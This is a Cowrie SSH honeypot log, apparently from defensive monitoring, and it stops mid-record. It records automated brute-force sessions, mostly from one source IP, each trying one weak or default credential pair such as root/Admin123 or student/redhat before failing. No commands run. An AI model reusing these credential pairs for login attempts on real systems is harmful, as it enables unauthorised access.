{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51764,"dst_ip":"10.17.0.5","dst_port":22,"session":"571906fef292","protocol":"ssh","message":"New connection: 45.156.87.253:51764 (10.17.0.5:22) [session: 571906fef292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:09.214980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:09.219274Z","src_ip":"45.156.87.253","session":"571906fef292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:09.300397Z","src_ip":"45.156.87.253","session":"571906fef292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"1234","message":"login attempt [main/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:09.542888Z","src_ip":"45.156.87.253","session":"571906fef292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:10.625865Z","src_ip":"45.156.87.253","session":"571906fef292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51788,"dst_ip":"10.17.0.5","dst_port":22,"session":"c37a67622fa0","protocol":"ssh","message":"New connection: 45.156.87.253:51788 (10.17.0.5:22) [session: c37a67622fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:12.698500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:12.702713Z","src_ip":"45.156.87.253","session":"c37a67622fa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:12.783431Z","src_ip":"45.156.87.253","session":"c37a67622fa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:13.028482Z","src_ip":"45.156.87.253","session":"c37a67622fa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:14.111755Z","src_ip":"45.156.87.253","session":"c37a67622fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51812,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2e56492c750","protocol":"ssh","message":"New connection: 45.156.87.253:51812 (10.17.0.5:22) [session: f2e56492c750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:16.019522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:16.023062Z","src_ip":"45.156.87.253","session":"f2e56492c750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:16.104018Z","src_ip":"45.156.87.253","session":"f2e56492c750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:16.355805Z","src_ip":"45.156.87.253","session":"f2e56492c750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:17.439619Z","src_ip":"45.156.87.253","session":"f2e56492c750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48364,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fd261709f81","protocol":"ssh","message":"New connection: 45.156.87.253:48364 (10.17.0.5:22) [session: 2fd261709f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:19.320953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:19.324423Z","src_ip":"45.156.87.253","session":"2fd261709f81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:19.500581Z","src_ip":"45.156.87.253","session":"2fd261709f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:19.870970Z","src_ip":"45.156.87.253","session":"2fd261709f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:20.954900Z","src_ip":"45.156.87.253","session":"2fd261709f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48380,"dst_ip":"10.17.0.5","dst_port":22,"session":"979eaf236926","protocol":"ssh","message":"New connection: 45.156.87.253:48380 (10.17.0.5:22) [session: 979eaf236926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:22.800004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:22.803648Z","src_ip":"45.156.87.253","session":"979eaf236926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:22.884315Z","src_ip":"45.156.87.253","session":"979eaf236926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manoj","password":"manoj123","message":"login attempt [manoj/manoj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:23.126984Z","src_ip":"45.156.87.253","session":"979eaf236926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:24.211869Z","src_ip":"45.156.87.253","session":"979eaf236926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":45804,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd8c00cc1cdc","protocol":"ssh","message":"New connection: 198.57.219.18:45804 (159.203.135.109:22) [session: cd8c00cc1cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:24.466267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:24.470142Z","src_ip":"198.57.219.18","session":"cd8c00cc1cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:24.556907Z","src_ip":"198.57.219.18","session":"cd8c00cc1cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iotex789","message":"login attempt [root/iotex789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:24.805367Z","src_ip":"198.57.219.18","session":"cd8c00cc1cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:25.889133Z","src_ip":"198.57.219.18","session":"cd8c00cc1cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48384,"dst_ip":"10.17.0.5","dst_port":22,"session":"150b3802056f","protocol":"ssh","message":"New connection: 45.156.87.253:48384 (10.17.0.5:22) [session: 150b3802056f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:26.160958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:26.163965Z","src_ip":"45.156.87.253","session":"150b3802056f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:26.243691Z","src_ip":"45.156.87.253","session":"150b3802056f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"redhat","message":"login attempt [student/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:26.485680Z","src_ip":"45.156.87.253","session":"150b3802056f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:27.568205Z","src_ip":"45.156.87.253","session":"150b3802056f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44312,"dst_ip":"10.17.0.5","dst_port":22,"session":"b211e98c2fe3","protocol":"ssh","message":"New connection: 45.156.87.253:44312 (10.17.0.5:22) [session: b211e98c2fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:29.493605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:29.593956Z","src_ip":"45.156.87.253","session":"b211e98c2fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:29.596769Z","src_ip":"45.156.87.253","session":"b211e98c2fe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:29.934461Z","src_ip":"45.156.87.253","session":"b211e98c2fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:31.017934Z","src_ip":"45.156.87.253","session":"b211e98c2fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44324,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4238f93def4","protocol":"ssh","message":"New connection: 45.156.87.253:44324 (10.17.0.5:22) [session: f4238f93def4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:32.901622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:32.905169Z","src_ip":"45.156.87.253","session":"f4238f93def4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519